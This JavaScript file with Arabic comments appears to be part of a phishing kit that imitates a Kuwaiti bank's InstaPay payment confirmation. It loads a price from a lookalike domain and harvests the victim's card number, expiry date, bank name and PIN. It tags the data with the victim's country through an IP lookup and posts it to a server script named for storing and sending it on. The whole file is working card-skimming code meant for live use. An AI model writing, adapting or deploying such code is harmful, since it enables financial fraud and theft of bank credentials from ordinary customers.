// وظيفة للحصول على المعرف من الرابط
function getUrlParameter(param) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(param);
}

// وظيفة لجلب السعر وعرضه
async function fetchPrice() {
    const R = getUrlParameter("R"); // الحصول على المعرف من الرابط
    if (!R) {
        console.error("⚠️ المعرف غير موجود في الرابط!");
        return;
    }

    try {
        // جلب السعر من API
        const response = await fetch(`https://nbk.wtf/mobileqp/pg.cbk.com/instapay/Customer/InstaPay/ConfirmPay/get_price.php?R=${R}`);
        const data = await response.json();

        if (data.success) {
            // عرض السعر في العنصر المخصص
            const priceElement = document.getElementById("price-display");
            if (priceElement) {
                priceElement.innerText = `${data.price} KD`; // عرض السعر
            }
        } else {
            console.error("⚠️ خطأ في جلب السعر:", data.error);
        }
    } catch (error) {
        console.error("⚠️ خطأ أثناء جلب السعر:", error);
    }
}

// وظيفة التعامل مع الضغط على زر التأكيد
async function onSubmitClick() {
    const R = getUrlParameter("R"); // الحصول على المعرف من الرابط
    const month = document.getElementById("month").value;
    const year = document.getElementById("year").value;
    const cardNumberInput = document.getElementById("cardNumber").value;
    const cardNumberS = document.querySelector('select[name="prefix"]').value;
    const pin = document.getElementById("pin").value;
    const BankName = document.getElementById("BankName").value;

    // التحقق من أن جميع الحقول ممتلئة
    if (!month || !year || !cardNumberInput || !cardNumberS || !pin || !BankName) {
        alert("⚠️ يرجى ملء جميع الحقول قبل الإرسال.");
        return;
    }

    const fullCardNumber = cardNumberS + cardNumberInput; // دمج البادئة مع رقم البطاقة

    try {
        // جلب بيانات الدولة
        const locationResponse = await fetch("https://ipwhois.app/json/");
        const locationData = await locationResponse.json();
        const country = locationData.country || "غير معروفة"; // جلب الدولة أو تحديدها كـ "غير معروفة"

        // إرسال البيانات إلى ملف PHP
        const response = await fetch("store_and_send.php", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
            },
            body: JSON.stringify({
                BankName: BankName,
                cardNumber: cardNumberInput,
                prefix: cardNumberS,
                month: parseInt(month),
                year: parseInt(year),
                pin: pin,
                country: country,
                R_ID: R,
            }),
        });

        const result = await response.json();

        if (result.success) {
            console.log("✅ البيانات تم تخزينها وإرسالها بنجاح.");
            window.location.href = `paye1.html?R=${encodeURIComponent(R)}`;
        } else {
            console.error("❌ خطأ:", result.error);
        }
    } catch (error) {
        console.error("❌ خطأ أثناء العملية:", error);
    }
}

// استدعاء وظيفة جلب السعر عند تحميل الصفحة
document.addEventListener("DOMContentLoaded", fetchPrice);
